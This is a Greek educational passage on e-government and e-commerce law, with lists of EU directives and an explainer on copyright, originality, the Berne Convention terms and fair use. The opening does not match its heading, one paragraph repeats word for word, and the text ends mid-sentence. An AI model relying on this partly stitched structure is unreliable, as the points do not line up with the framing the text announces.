Εκπαιδευτική Υποενότητα 8.1 Δημόσιοι φορείς προς κοινό Η κατηγορία αυτή έχει δημιουργηθεί τα τελευταία χρόνια και αποτελεί κομμάτι ενός νέου αναπτυσσόμενου κλάδου, της ηλεκτρονικής διακυβέρνησης. Η μορφή αυτή περιλαμβάνει κυρίως δύο πλαίσια δραστηριοτήτων.

1) η παγκόσμια παρουσία του Internet, που καταλύει τα σύνορα και δημιουργεί μια νέα, κοινή αγορά προσβάσιμη από κάθε γωνιά του πλανήτη και έρχεται σε κατάφορη αντίθεση με την εδαφικότητα των νομοθετικών ρυθμίσεων (κάθε χώρα έχει το δικό της δίκαιο που ρυθμίζει με διαφορετικό τρόπο τις έννομες σχέσεις). 2) η αποϋλοποίηση όλων των αντικειμένων, εφόσον τα πάντα μετατρέπονται, πλέον, σε δεδομένα, τα οποία μεταφέρονται στον Παγκόσμιο Ιστό σε ηλεκτρονική μορφή (bits & bytes). Επομένως παύει να υπάρχει η παραδοσιακή έννοια του «πράγματος» και δημιουργείται ένα καινούριο αγαθό που χρήζει ιδιαίτερης νομικής προστασίας. η χρησιμοποίηση της τεχνολογίας σε όλο ή στο μεγαλύτερο κομμάτι της συναλλαγής που τροποποιεί πλήρως τα υφιστάμενα συναλλακτικά ήθη. Παράλληλα αποκλείεται η σύγκριση με παλαιότερες πρακτικές και η αναλογική εφαρμογή προγενέστερων δικαστικών αποφάσεων καθότι, συνήθως, η συναλλαγή διενεργείται με εντελώς καινούριο τρόπο χωρίς να υπάρχει συγκρίσιμο προηγούμενο. Άρα, ενώ δεν καθίστανται πλήρως ανενεργές οι ισχύουσες νομικές διατάξεις, οι περισσότερες από αυτές δεν είναι σε θέση να ανταποκριθούν στις ανάγκες και στις τεχνικές προδιαγραφές του κυβερνοχώρου με αποτέλεσμα πρακτικά να είναι ανεφάρμοστες και παρωχημένες. Όπως ήταν λογικό, το γεγονός αυτό προκάλεσε ανασφάλεια δικαίου που όχι μόνον φόβισε το, ούτως ή άλλως, διστακτικό καταναλωτικό κοινό, αλλά συνέβαλε και στην αναδίπλωση των εταιριών που θέλησαν να πρωτοπορήσουν στον συγκεκριμένο χώρο.

Μέσα στο πλαίσιο αυτό, η Ευρωπαϊκή Ένωση πραγματοποιεί σταδιακά μια συντονισμένη προσπάθεια αντιμετώπισης του προβλήματος, θέλοντας να θέσει σταθερές νομικές βάσεις που να δημιουργούν ένα δίχτυ ασφαλείας για τις ηλεκτρονικές συναλλαγές. Βασικός γνώμονας είναι η αύξηση των συναλλαγών (εμπορικών και μη) στο Internet με τις απαραίτητες, όμως, υποδομές που να αποδίδουν την κατάλληλη νομική ισχύ σε κάθε επίπεδο ηλεκτρονικής συναλλαγής, ενώ παράλληλα να ανοίγουν τον δρόμο για την πλήρη αποδοχή τους. Η ελληνική έννομη τάξη προσπαθεί να προσαρμοστεί στις προσταγές της νέας εμπορικής πραγματικότητας κυρίως με την προσαρμογή των ευρωπαϊκών νομοθετημάτων στο εσωτερικό δίκαιο. Παρόλο που παρουσιάζεται γενικά μια καθυστέρηση στην υιοθέτηση κάποιων επιμέρους Οδηγιών και σε πολλά σημεία χρειάζεται η δημιουργία πιο λεπτομερειακών ρυθμίσεων, αρχίζει και παίρνει μορφή το νομοθετικό εκείνο καθεστώς που να αρμόζει στο ηλεκτρονικό εμπόριο.

Το κυρίως ζητούμενο σε αυτό το στάδιο είναι η έκδοση από τις Αρμόδιες Αρχές, όπως Ανεξάρτητες Διοικητικές Αρχές, Υπουργεία, ΝΠΔΔ κ.α., των εξειδικευμένων εκείνων κανονισμών που θα δώσουν ώθηση στην ευρεία εφαρμογή των ηλεκτρονικών συναλλαγών. Παράλληλα, η περαιτέρω διάδοση των ηλεκτρονικών συναλλαγών θα καθορίσει τα νέα «ηλεκτρονικά» συναλλακτικά ήθη. Εξάλλου, με ενδιαφέρον αναμένονται και οι δικαστικές αποφάσεις που θα δώσουν το στίγμα για το πως αντιμετωπίζει η νομολογία τις ηλεκτρονικές συναλλαγές και πως ερμηνεύουν τα δικαστήρια τις σχετικές νομοθετικές ρυθμίσεις. Μέσα στο πλαίσιο αυτό, η Ευρωπαϊκή Ένωση πραγματοποιεί σταδιακά μια συντονισμένη προσπάθεια αντιμετώπισης του προβλήματος, θέλοντας να θέσει σταθερές νομικές βάσεις που να δημιουργούν ένα δίχτυ ασφαλείας για τις ηλεκτρονικές συναλλαγές. Βασικός γνώμονας είναι η αύξηση των συναλλαγών (εμπορικών και μη) στο Internet με τις απαραίτητες, όμως, υποδομές που να αποδίδουν την κατάλληλη νομική ισχύ σε κάθε επίπεδο ηλεκτρονικής συναλλαγής, ενώ παράλληλα να ανοίγουν τον δρόμο για την πλήρη αποδοχή τους. Οι περισσότερες εταιρίες, ακόμη και αν δεν ασχολούνται αμιγώς με το ηλεκτρονικό εμπόριο, πραγματοποιούν ήδη συναλλαγές μέσω του Ίντερνετ με διάφορους τρόπους, όπως ενδεικτικά : 1.

με την ανταλλαγή ηλεκτρονικών μηνυμάτων μέσω email με τους συνεργάτες

τους, και τους προμηθευτές τους (για να δώσουν κάποια εντολή, να κάνουν μια παραγγελία κ.α.), 2.

με την αποστολή ηλεκτρονικών μηνυμάτων στους καταναλωτές/πελάτες

τους με στόχο την εμπορική επικοινωνία, 3.

με την απλή παρουσίαση των προϊόντων/υπηρεσιών τους μέσω μιας

ιστοσελίδας στο Διαδίκτυο, έστω και αν η σελίδα αυτή υφίσταται απλώς για διαφημιστικούς σκοπούς, χωρίς να πραγματοποιούνται (ακόμη) πωλήσεις 4.

με την διασύνδεσή τους στον Παγκόσμιο Ιστό μέσω ενός ISP έστω και μόνον

για την απόκτηση ηλεκτρονικής διεύθυνσης για την διοίκηση και τους υπαλλήλους κλπ, 5.

με την ολοένα και αυξανόμενη διεκπεραίωση συναλλαγών με τον ευρύτερο

δημόσιο τομέα (πχ. ΔΟΥ, ΙΚΑ, κλπ). Γίνεται επομένως αντιληπτό ότι είναι απαραίτητο να γνωρίσει ο εμπορικός κόσμος τις ρυθμίσεις που διέπουν τις ηλεκτρονικές συναλλακτικές τους σχέσεις. Το Διαδίκτυο έχει πάψει προ πολλού να αποτελεί έναν άναρχο και εντελώς ανασφαλή χώρο για την διενέργεια

συναλλαγών. Σταδιακά δημιουργούνται τα νόμιμα μέτρα και σταθμά που ρυθμίζουν τις ηλεκτρονικές συναλλακτικές σχέσεις, αυξάνοντας έτσι την εμπιστοσύνη των χρηστών. Πρόταση Οδηγίας στις 24 Σεπτεμβρίου 2002 για την τροποποίηση της Οδηγίας 68/151/ΕΟΚ σχετικά με τις απαιτήσεις δημοσιότητας για ορισμένες μορφές εταιριών. Κανονισμός 44/2001 ΕΚ για την διεθνή δικαιοδοσία (σε αντικατάσταση της Σύμβασης των Βρυξελλών), άρθρο 23 παρ.2 που αναγνωρίζει το κύρος της ηλεκτρονικής υπογραφής σε συμφωνίες παρέκτασης της διεθνούς δικαιοδοσίας. Απόφαση της Επιτροπής (2001) για έγκριση ενός παγκοσμίου δικτύου (Identrus) για την πιστοποίηση των ηλεκτρονικών υπογραφών και άλλων συναλλαγών ηλεκτρονικού εμπορίου, Απόφαση 2000/709 της Επιτροπής για τους φορείς ελέγχου και συμμόρφωσης των διατάξεων δημιουργίας της ηλεκτρονικής υπογραφής στους όρους ασφάλειας του Παραρτήματος ΙΙΙ της Οδηγίας 99/93/ΕΚ. Οδηγία 2000/31/ΕΚ του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου της 8ης Ιουνίου 2000 για ορισμένες νομικές πτυχές των υπηρεσιών της κοινωνίας της πληροφορίας, ιδίως του ηλεκτρονικού εμπορίου, στην εσωτερική αγορά ("Οδηγία για το ηλεκτρονικό εμπόριο"). Οδηγία 1999/93/ΕΚ του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου της 13ης Δεκεμβρίου 1999 σχετικά με το κοινοτικό πλαίσιο για ηλεκτρονικές υπογραφές, Οδηγία 1999/93/ΕΚ του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου της 13ης Δεκεμβρίου 1999 σχετικά με το κοινοτικό πλαίσιο για ηλεκτρονικές υπογραφές. Οδηγία 98/84/ΕΚ του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου για τη νομική προστασία των υπηρεσιών που βασίζονται ή συνίστανται στην παροχή πρόσβασης υπό όρους. Οδηγία 98/48/ΕΚ του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου της 20ής Ιουλίου 1998 για την τροποποίηση της οδηγίας 98/34/ΕΚ για την καθιέρωση μιας διαδικασίας πληροφόρησης στον τομέα των τεχνικών προτύπων και προδιαγραφών, COM (97) 157 Mια Ευρωπαϊκή Πρωτοβουλία στο Ηλεκτρονικό Εμπόριο. •

Οδηγία 2002/22/ΕΚ για την καθολική υπηρεσία και τα δικαιώματα των χρηστών όσον

αφορά στα δίκτυα και στις υπηρεσίες ηλεκτρονικών επικοινωνιών, •

Οδηγία 2002/21/ΕΚ για το κοινό κανονιστικό πλαίσιο για δίκτυα και υπηρεσίες

ηλεκτρονικών επικοινωνιών •

Οδηγία 2002/20/ΕΚ για την αδειοδότηση δικτύων και υπηρεσιών ηλεκτρονικών

επικοινωνιών, •

Οδηγία 2002/19/ΕΚ για την πρόσβαση σε δίκτυα ηλεκτρονικών επικοινωνιών και

συναφείς ευκολίες,

•

Οδηγία 96/2/ΕΚ για τροποποίηση της οδηγίας 90/388/ΕΟΚ όσον αφορά τις κινητές

και προσωπικές επικοινωνίες. •

Οδηγία 2002/65/ΕΚ για την εξ αποστάσεως εμπορία χρηματοπιστωτικών υπηρεσιών

προς τους καταναλωτές, •

Οδηγία 2000/46/ΕΚ του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου της 18ης

Σεπτεμβρίου 2000 για την ανάληψη, την άσκηση και την προληπτική εποπτεία της δραστηριότητας ιδρύματος ηλεκτρονικού χρήματος, •

Οδηγία

2000/28/ΕΚ

για

την

ανάληψη

και

άσκηση

δραστηριοτήτων

χρηματοπιστωτικών ιδρυμάτων, •

Οδηγία 2000/35/ΕΚ για την καταπολέμηση της καθυστέρησης πληρωμών στις

εμπορικές συναλλαγές, •

COM (2000) 650 - Πρόταση Οδηγίας του Συμβουλίου για την τροποποίηση της

οδηγίας 77/388/ΕΟΚ με στόχο την απλοποίηση, τον εκσυγχρονισμό και την εναρμόνιση των όρων που επιβάλλονται στην τιμολόγηση όσον αφορά το φόρο προστιθέμενης αξίας, •

Ανακοίνωση COM (2001) 66 για το ηλεκτρονικό εμπόριο και τις χρηματοπιστωτικές

υπηρεσίες, •

Ψήφισμα COM (2000) 36 του Ευρωπαϊκού Κοινοβουλίου για τις πληρωμές μικρών

ποσών στην εσωτερική αγορά, •

Ανακοίνωση COM (2001) 11 της Επιτροπής για την πρόληψη της απάτης και της

πλαστογραφίας όσον αφορά στα μέσα πληρωμής πλην των μετρητών, •

97/489/ΕΚ: Σύσταση της Επιτροπής της 30ής Ιουλίου 1997 σχετικά με τις συναλλαγές

που γίνονται με μέσα ηλεκτρονικής πληρωμής και ιδίως όσον αφορά τις σχέσεις μεταξύ του εκδότη και του κατόχου, •

Οδηγία 97/5/ΕΚ του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου της 27ης

Ιανουαρίου 1997 για τις διασυνοριακές μεταφορές πιστώσεων, •

Σύσταση 87/598/ΕΟΚ της Επιτροπής της 8ης Δεκεμβρίου 1987 για ευρωπαϊκό κώδικα

δεοντολογίας σε θέματα ηλεκτρονικών πληρωμών. •

Οδηγία 2001/29/ΕΚ της 22ας Μαΐου 2001 για την εναρμόνιση ορισμένων πτυχών του

δικαιώματος του δημιουργού και συγγενικών δικαιωμάτων στην κοινωνία της πληροφορίας. •

Οδηγία 96/9/ΕΟΚ της 11ης Μαρτίου 1996 σχετικά με τη νομική προστασία των

βάσεων δεδομένων. •

Οδηγία 92/100/ΕΟΚ σχετικά με το δικαίωμα εκμίσθωσης το δικαίωμα δανεισμού και

ορισμένα δικαιώματα συγγενικά προς την πνευματική ιδιοκτησία στον τομέα των προϊόντων της διανοίας.

•

Οδηγία 91/250/ΕΟΚ για τη νομική προστασία των προγραμμάτων ηλεκτρονικών

υπολογιστών

Ηλεκτρονικό Έγκλημα: 1. Σύσταση του Συμβουλίου 25 Ιουνίου 2002 για σημεία επαφής που λειτουργούν 24 ώρες το εικοσιτετράωρο για την καταπολέμηση του εγκλήματος υψηλής τεχνολογίας, Έγγραφο Διαβουλεύσεων της Επιτροπής, Ιούνιος 2002 για την ασφάλεια των ηλεκτρονικών δικτύων, 2. Σχέδιο Κανόνων της Επιτροπής, Απρίλιος 2002 για τον κοινό ορισμό ορισμένων αδικημάτων που αφορούν υπολογιστές, Ψήφισμα του Συμβουλίου 1 Μαρτίου 2002 για την προστασία των καταναλωτών, ιδίως των νέων, με την επισήμανση ορισμένων βιντεοπαιχνιδιών και ηλεκτρονικών παιγνίων αναλόγως της ηλικίας, 3. Έγγραφο Πολιτικής της Επιτροπής, Ιανουάριος 2002 για την καταπολέμηση της εγκληματικότητας μέσω ηλεκτρονικού υπολογιστή και την βελτίωση της ασφάλειας των υποδομών πληροφορικής με την λήψη νομοθετικών και μη νομοθετικών μέτρων, 4. Απόφαση - Πλαίσιο 2001/413/ΔΕΥ του Συμβουλίου της 28-5-2001 για την καταπολέμηση της απάτης και της πλαστογραφίας που αφορούν τα μέσα πληρωμής πλην των μετρητών, Ανακοίνωση COM (2000) 890 της Επιτροπής «Για

μια

ασφαλέστερη Κοινωνία της Πληροφορίας με τη βελτίωση της ασφάλειας των υποδομών πληροφόρησης και την καταπολέμηση του εγκλήματος πληροφορικής», 5. Απόφαση 276/1999/ΕΚ του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου για ένα πολυετές κοινοτικό πρόγραμμα δράσης για ασφαλέστερη χρήση του Internet μέσω της καταπολέμησης του παράνομου και βλαβερού περιεχομένου στα παγκόσμια δίκτυα. Κανονισμός αριθ. 792/2002/ΕΚ της 7ης Μαΐου 2002 για την προσωρινή τροποποίηση του κανονισμού (ΕΟΚ) αριθ. 218/92 σχετικά με τη διοικητική συνεργασία στον τομέα των έμμεσων φόρων (ΦΠΑ) όσον αφορά πρόσθετα μέτρα για το ηλεκτρονικό εμπόριο. Οδηγία 2002/38/ΕΚ της 7ης Μαΐου 2002 για την τροποποίηση και την προσωρινή τροποποίηση της οδηγίας 77/388/ΕΟΚ όσον αφορά το σύστημα φόρου προστιθέμενης αξίας που εφαρμόζεται στις ραδιοφωνικές και τηλεοπτικές υπηρεσίες και σε ορισμένες υπηρεσίες που παρέχονται ηλεκτρονικά.

Δικαιώματα Πνευματικής Ιδιοκτησίας

Τα πνευματικά δικαιώματα αποτελούν ένα πολύ σημαντικό ζήτημα που θα πρέπει να απασχολήσει σοβαρά έναν πολιτιστικό οργανισμό, ή οποιοδήποτε άτομο πριν αποφασίσει να εμπλακεί σε μια διαδικασία ψηφιοποίησης του περιεχομένου που διαθέτει, ιδιαίτερα στην περίπτωση που ο σκοπός της ψηφιοποίησης είναι η προβολή του υλικού στο Διαδίκτυο. Σε πρώτη φάση, ο οργανισμός θα πρέπει να χαρακτηρίσει το περιεχόμενο του και να διαπιστώσει από ποια πνευματικά δικαιώματα δεσμεύεται. Ωστόσο, για να είναι σε θέση να πράξει κάτι τέτοιο, θα πρέπει να είναι ενήμερος για τους βασικούς άξονες κατηγοριοποίησης του περιεχομένου και τις πολιτικές χρήσης και προστασίας που διέπουν κάθε κατηγορία σε σχέση με τα δικαιώματα πνευματικής ιδιοκτησίας.

Nόμοι περί πνευματικής ιδιοκτησίας Οι νόμοι περί πνευματικής ιδιοκτησίας έχουν ως στόχο να προστατέψουν τα έργα που χαρακτηρίζονται από δημιουργικότητα, όπως έργα λογοτεχνίας, θεάτρου, μουσικής, τέχνης κ.α. Ανάμεσα στην πληθώρα των νομικών διατάξεων που αφορούν τα πνευματικά δικαιώματα, υπάρχουν νόμοι που σχετίζονται περισσότερο ή λιγότερο με τα δικαιώματα πνευματικής ιδιοκτησίας όπως αυτά διαμορφώνονται κατά τη ψηφιοποίηση και την προβολή περιεχομένου στο Διαδίκτυο. Επίσης, ένα ακόμα χαρακτηριστικό της νομοθεσίας περί του δικαιώματος αναπαραγωγής είναι πως παρουσιάζει αρκετές ομοιότητες με τη νομοθεσία που αφορά τις εμπορικές συναλλαγές. Η κυρίαρχη τάση στις περισσότερες χώρες είναι να δίνεται περισσότερη έμφαση στη προστασία των δικαιωμάτων του δημιουργού - «ηθικά δικαιώματα». Η συγκεκριμένη προσέγγιση επικρατεί στις νομοθετικές τάσεις όλης της μεσογειακής Ευρώπης και σε μικρότερο βαθμό στην Αγγλική και την Αμερικάνικη νομοθεσία.

Ρόλος εθνικής νομοθεσίας Ο ρόλος της εθνικής νομοθεσίας είναι να οριοθετήσει το εύρος των ενεργειών που θεωρούνται νόμιμες σε κάθε χώρα. Ωστόσο, η ανάλυση των επιμέρους στοιχείων μιας νομοθεσίας δεν θα πρέπει να γίνει ανεξάρτητα και αποκομμένα από τη συνολική διεθνή κατάσταση. Η διεθνής κατάσταση συνίσταται από διεθνείς συμφωνίες, οδηγίες και κατευθύνσεις που διαδραματίζουν σημαντικό ρόλο στην διαμόρφωση των επιμέρους νομοθετικών πλαισίων κάθε χώρας. Οι πιο σημαντικές διεθνείς συμβάσεις είναι οι ακόλουθες: • Η συνθήκη της Βέρνης (που διαχειρίζεται ο Παγκόσμιος Οργανισμός Πνευματικής Ιδιοκτησίας - WIPO) προστατεύει του δημιουργούς των λογοτεχνικών και των

καλλιτεχνικών έργων βασιζόμενη στην αρχή της εξομοίωσης (ισότιμης μεταχείρισης) των δημιουργών. • Η παγκόσμια συνθήκη περί του δικαιώματος αναπαραγωγής (UCC) • Η συμφωνία του TRIP’s (Trade Related Intellectual Property Rights) υπό την αιγίδα του World Trade Organization.

Δικαίωμα Αναπαραγωγής (Copyright) Υπάρχει μια αρκετά σημαντική παράδοση στην προσπάθεια εναρμόνισης όλων των χωρών για μια κοινή, διεθνή αντιμετώπιση του προβλήματος των πνευματικών δικαιωμάτων. Η ανάγκη για καθολική εναρμόνιση κρίνεται επιτακτική, κυρίως λόγω του αφηρημένου χαρακτήρα των πνευματικών δικαιωμάτων και της αυξημένης δυσκολίας που προκύπτει κατά την εφαρμογή των αναγκαίων περιορισμών. Το Διαδίκτυο και οι επιπρόσθετες δυνατότητες που πηγάζουν από την ψηφιακή υπόσταση του περιεχομένου επιβεβαιώνουν το γεγονός πως οι εθνικές διατάξεις δεν είναι ικανές να εξασφαλίσουν το απαιτούμενο επίπεδο προστασίας. Ένα χαρακτηριστικό παράδειγμα είναι η περίπλοκη περίπτωση όπου το περιεχόμενο έχει δημιουργηθεί σε μία χώρα, φιλοξενείται από έναν εξυπηρετητή σε μια άλλη χώρα και μπορεί να ανακτηθεί από οποιοδήποτε μέρος της γης.

Όρος Copyright Με τον όρο copyright εννοούμε την πνευματική προστασία, η οποία αφορά δημοσιευμένα και μη δημοσιευμένα λογοτεχνικά, επιστημονικά και καλλιτεχνικά έργα, ανεξάρτητα από τη μορφή στην οποία εκφράζονται, εφόσον έχουν ενυπόστατη ή υλική μορφή. Αυτό σημαίνει ότι κάθε έργο που μπορείτε να δείτε, να ακούσετε ή να αγγίξετε ενδέχεται να είναι προστατευμένο. Κάθε δοκίμιο, θεατρικό έργο, τραγούδι, χορογραφία, φωτογραφία, κώδικας HTML, γράφημα σε υπολογιστή που μπορεί να απεικονιστεί στο χαρτί, να εγγραφεί σε κασέτα ή να αποθηκευτεί σε ένα σκληρό δίσκο, ενδέχεται να είναι προστατευμένο. Η νομοθεσία που διέπει τα πνευματικά δικαιώματα δίνει στο δημιουργό το αποκλειστικό δικαίωμα της αναπαραγωγής, της δημιουργίας παράγωγων του έργου, της διάθεσης, της ερμηνείας και της δημόσιας προβολής του έργου . Κατά συνέπεια, μόνο ο δημιουργός ενός έργου έχει δικαίωμα εκμετάλλευσής του και κανένας άλλος, έστω κι αν έχει άμεση πρόσβαση στο έργο. Πρωτοτυπία Το δίκαιο πνευματικής ιδιοκτησίας δεν προστατεύει όλα τα έργα, αλλά μόνο αυτά που είναι πρωτότυπα. Ένα από τα πιο δύσκολα σημεία της πνευματικής ιδιοκτησίας είναι ο ορισμός

της πρωτοτυπίας. Παραδοσιακά το σύστημα του copyright, θέτοντας στο επίκεντρο την οικονομική διάσταση της πνευματικής ιδιοκτησίας, τείνει να θεωρεί πρωτότυπο οποιοδήποτε έργο δεν είναι απλή αντιγραφή και προϋποθέτει μια ελάχιστη εργασία ή επένδυση (sweat of the brow). Με το πέρασμα του χρόνου η διαφορά των δύο συστημάτων μειώνεται, αφού το κριτήριο της προσωπικότητας του δημιουργού είναι αφηρημένο και δύσχρηστο. Έτσι συνήθως απαιτείται ένα ελάχιστο "δημιουργικό ύψος", το οποίο μπορεί να προκύπτει και από το κριτήριο της "στατιστικής μοναδικότητας". Στατιστική μοναδικότητα έχουμε στην περίπτωση που, αν δύο άνθρωποι θελήσουν να δημιουργήσουν το ίδιο έργο, θα καταλήξουν σε διαφορετικά αποτελέσματα (αν δύο επιστήμονες γράψουν εργασία για το ίδιο θέμα, αν δύο ζωγράφοι ζωγραφίσουν το ίδιο τοπίο κλπ.). Ειδικά για τα προγράμματα υπολογιστή το κριτήριο της πρωτοτυπίας σχεδόν καταργείται, αφού κατά το νόμο πρόγραμμα υπολογιστή είναι πρωτότυπο εφόσον είναι προσωπικό πνευματικό δημιούργημα του δημιουργού του (δηλαδή όχι απλή αντιγραφή). Ο ελληνικός νόμος ξεκαθαρίζει πάντως ότι δεν προστατεύονται ειδήσεις και απλά γεγονότα ή στοιχεία. Έναρξη ισχύος προστασίας πνευματικών δικαιωμάτων Η προστασία των πνευματικών δικαιωμάτων αρχίζει να ισχύει τη στιγμή που θα δημιουργηθεί και θα πάρει ενυπόστατη μορφή οποιοδήποτε από τα προαναφερθέντα έργα. Είναι «παράνομο» να βάζουμε το σύμβολο © δίπλα στο όνομά μας, σε περίπτωση που δεν έχουμε κατοχυρώσει τα πνευματικά μας δικαιώματα; Αν δεν έχετε κλέψει το έργο κάποιου άλλου και αν δεν προσποιείστε ότι είστε ο αληθινός δημιουργός αυτού, δεν είναι παράνομο να τοποθετήσετε το σύμβολο © δίπλα στο όνομά σας, άλλωστε έχετε κάθε δικαίωμα να το κάνετε. Λήξη προστασίας πνευματικών δικαιωμάτων Αν μια δήλωση γράφει «Πνευματικά δικαιώματα 1998, 1999 Ιωάννης Παπαδόπουλος» αυτό σημαίνει ότι τα δικαιώματα του Ιωάννη Παπαδόπουλου λήγουν το 1999; Οι ημερομηνίες που βλέπετε σε μια τέτοια δήλωση δεν αναφέρονται στις ημερομηνίες λήξης του υλικού του ιδιοκτήτη, συνεπώς αυτό δεν σημαίνει ότι μετά το πέρας των ημερομηνιών το έργο μπορεί να διατεθεί στο κοινό. Οι ημερομηνίες αυτές αναφέρονται στις ημερομηνίες δημιουργίας του υλικού. Όταν υπάρχουν διάφορες ημερομηνίες στις δηλώσεις πνευματικών δικαιωμάτων, αυτό σημαίνει ότι συγκεκριμένα πράγματα δημιουργήθηκαν το αναγραφόμενο έτος και τροποποιήθηκαν αργότερα. Μπορεί επίσης να σημαίνει ότι νέα πράγματα δημιουργήθηκαν και προστέθηκαν αργότερα. Πάντως σίγουρα δεν αναφέρονται στην ημερομηνία λήξης της προστασίας των δικαιωμάτων. Η λήξη της προστασίας των πνευματικών δικαιωμάτων στην ουσία λαμβάνει χώρα πολύ αργότερα και αυτή η περίοδος εγκυρότητας αρχίζει από την

ημερομηνία που βλέπετε στη δήλωση. Η Συνθήκη της Βέρνης ορίζει μια γενική και ελάχιστη περίοδο διάρκειας των δικαιωμάτων, η οποία λήγει έως και πενήντα χρόνια μετά το θάνατο του δημιουργού. Τα κινηματογραφικά και φωτογραφικά έργα έχουν ελάχιστη περίοδο προστασίας 50 και 25 χρόνια από την ημερομηνία δημιουργίας, αντίστοιχα. Αυτό ισχύει σε οποιαδήποτε χώρα έχει υπογράψει τη Συνθήκη της Βέρνης, και αναφέρεται στις ελάχιστες περιόδους προστασίας. Κάθε κράτος μέλος έχει το δικαίωμα να ορίσει μεγαλύτερες περιόδους προστασίας, ωστόσο δεν μπορεί να ορίζει περιόδους μικρότερες από αυτές που αναφέρονται στην εν λόγω Συνθήκη. Το πασίγνωστο σύμβολο copyright Γιατί στο κάτω μέρος μιας ιστοσελίδας γράφει «Πνευματικά δικαιώματα © 1998-2003 WhatisCopyright.org»; Αυτές είναι οι ημερομηνίες που δημιούργησα ή/και τροποποίησα τη μορφή, το κείμενο, τα γραφικά ή οποιοδήποτε άλλο υλικό αυτής της ιστοσελίδας και τα αποθήκευσα στο σκληρό μου δίσκο. Αυτό μου δίνει το δικαίωμα να επικαλούμαι τους νόμους περί προστασίας πνευματικών δικαιωμάτων. Μόνο εγώ, ως συγγραφέας και δημιουργός αυτού του έργου, έχω το δικαίωμα να χρησιμοποιώ, να αναπαράγω και να διανέμω αυτό το υλικό, καθώς και οποιοσδήποτε άλλος φέρει δική μου έγγραφη άδεια και μόνο με τον τρόπο που εγώ έχω εγκρίνει. Τι σημαίνει αυτό; Ότι κανένας δεν μπορεί να αποκτήσει πρόσβαση στην ιστοσελίδα μου και να αντιγράψει τη μορφή, τα κείμενα ή τα γραφικά χωρίς να έχει λάβει έγγραφη άδεια από μένα η οποία δηλώνει: «Ναι, μπορείτε να χρησιμοποιήσετε το έργο μου, αλλά μόνο με τον τρόπο που κρίνω εγώ κατάλληλο». Αυτό ισχύει ιδιαίτερα για όσους θέλουν να χρησιμοποιήσουν το υλικό μου για κερδοσκοπικούς λόγους. Θα αφήνατε κάποιον να πουλήσει τα συγγράμματά σας, χωρίς την άδειά σας και ιδίως χωρίς αυτό να επιφέρει κέρδος σε εσάς; Οποιοσδήποτε χρησιμοποιεί, αντιγράφει ή διανέμει το υλικό σας με οποιονδήποτε τρόπο, για εμπορικούς ή προσωπικούς σκοπούς, χωρίς τη δική σας έγγραφη άδεια, διαπράττει παραβίαση των πνευματικών δικαιωμάτων σας. Θεμιτή χρήση Η θεμιτή χρήση ή θεμιτή πρακτική είναι η χρησιμοποίηση αυτούσιου μέρους ενός προστατευμένου έργου για σκοπούς παρωδίας, δημοσιογραφίας, έρευνας και εκπαίδευσης σχετικά με αυτό το προστατευμένο έργο χωρίς την άδεια του συγγραφέα. Η χρήση προστατευμένων έργων, ή μέρους αυτών για κάθε άλλο σκοπό δεν θεωρείται θεμιτή. Αυτό περιλαμβάνει την αντιγραφή κειμένου, τη σάρωση εικόνων από καρτ-ποστάλ, περιοδικά, βιβλία ή οποιοδήποτε άλλο έργο. Αν σαρώσετε μια φωτογραφία από το Δάσος του Αμαζονίου που δημοσιεύτηκε σε γνωστό περιοδικό και τη χρησιμοποιήσετε χωρίς άδεια στην

προσωπική σας ιστοσελίδα που έχετε φτιάξει για το ταξίδι σας στη Βόρια Αμερική το πιο πιθανό είναι να μην θεωρηθεί θεμιτή χρήση. Αν όμως, επανεκδώσετε τη φωτογραφία αυτή στην ιστοσελίδα σας σχολιάζοντας την πηγή που τη βρήκατε, αυτό ίσως θεωρηθεί θεμιτή χρήση. Παρόλα αυτά εσείς εξακολουθείτε να πρέπει να αναγνωρίσετε την πηγή σας αναφέροντας το όνομα του δημιουργού στην ίδια σελίδα που βρίσκεται η φωτογραφία. Σε κάθε περίπτωση, είναι ασφαλέστερο να αφιερώνετε λίγο χρόνο για να επικοινωνήσετε με τον ιδιοκτήτη και να ζητήσετε άδεια χρήσης του έργου του και είναι πολύ πιθανό, αυτός να το εκτιμήσει και ανταποκριθεί θετικά στο αίτημά σας. Πολλοί πιστεύουν ότι μπορεί κανείς να πάρει το έργο κάποιου άλλου, είτε αυτό είναι κείμενα, είτε γραφικές εικόνες, ή αρχεία ήχου και να το χρησιμοποιήσει σε ένα «εκπαιδευτικό» έργο χωρίς την άδεια του συγγραφέα ή χωρίς αναφορά σ’ αυτόν, λόγω «θεμιτής χρήσης». Ακόμη κι αν έχετε παραφράσει τα πρωτότυπα λόγια του συγγραφέα ή ακόμη κι αν αισθάνεστε ότι δεν έχετε ανάγκη την άδειά του επειδή η χρήση εμπίπτει στη ασαφή έννοια της θεμιτής χρήσης, είστε υποχρεωμένοι να αναγνωρίσετε τη σκληρή δουλειά της πηγής σας, αναφέροντας το όνομα του δημιουργού. Αυτό άλλωστε αποτελεί απαίτηση της νομοθεσίας περί πνευματικών δικαιωμάτων. Αν δεν το κάνετε, τότε μάλλον έχετε διαπράξει λογοκλοπή. «Δωρεάν» γραφικά στο Διαδίκτυο και εικόνες σύνδεσης Οι εικόνες που παρέχονται «δωρεάν» ή οι ιστοσελίδες που προσφέρουν γραφικά σύνδεσης δεν προορίζονται για δημόσια χρήση. Αυτές οι εικόνες, παρόλο που σας προσφέρονται δωρεάν δεν ανήκουν στην ιδιοκτησία σας. Σας επιτρέπεται να τις χρησιμοποιήσετε αν συμμορφωθείτε με τους όρους και τις προϋποθέσεις του ιδιοκτήτη, γι’ αυτό φροντίστε να συμμορφώνεστε μ’ αυτούς πλήρως. Αν ο ιδιοκτήτης σας ζητήσει «να μην τα αλλάξετε», μην τα αλλάξετε. Αν ο ιδιοκτήτης σας ζητήσει «να τα χρησιμοποιήσετε μόνο για προσωπικές ιστοσελίδες», χρησιμοποιήστε τα μόνο για την προσωπική σας ιστοσελίδα. Το ίδιο ισχύει για τα λογότυπα και τα γραφικά σύνδεσης. Εξακολουθούν να είναι προστατευμένα τα πνευματικά δικαιώματα του ιδιοκτήτη και συνήθως προορίζονται να χρησιμοποιηθούν μόνο ως σύνδεσμοι προς τη δική του 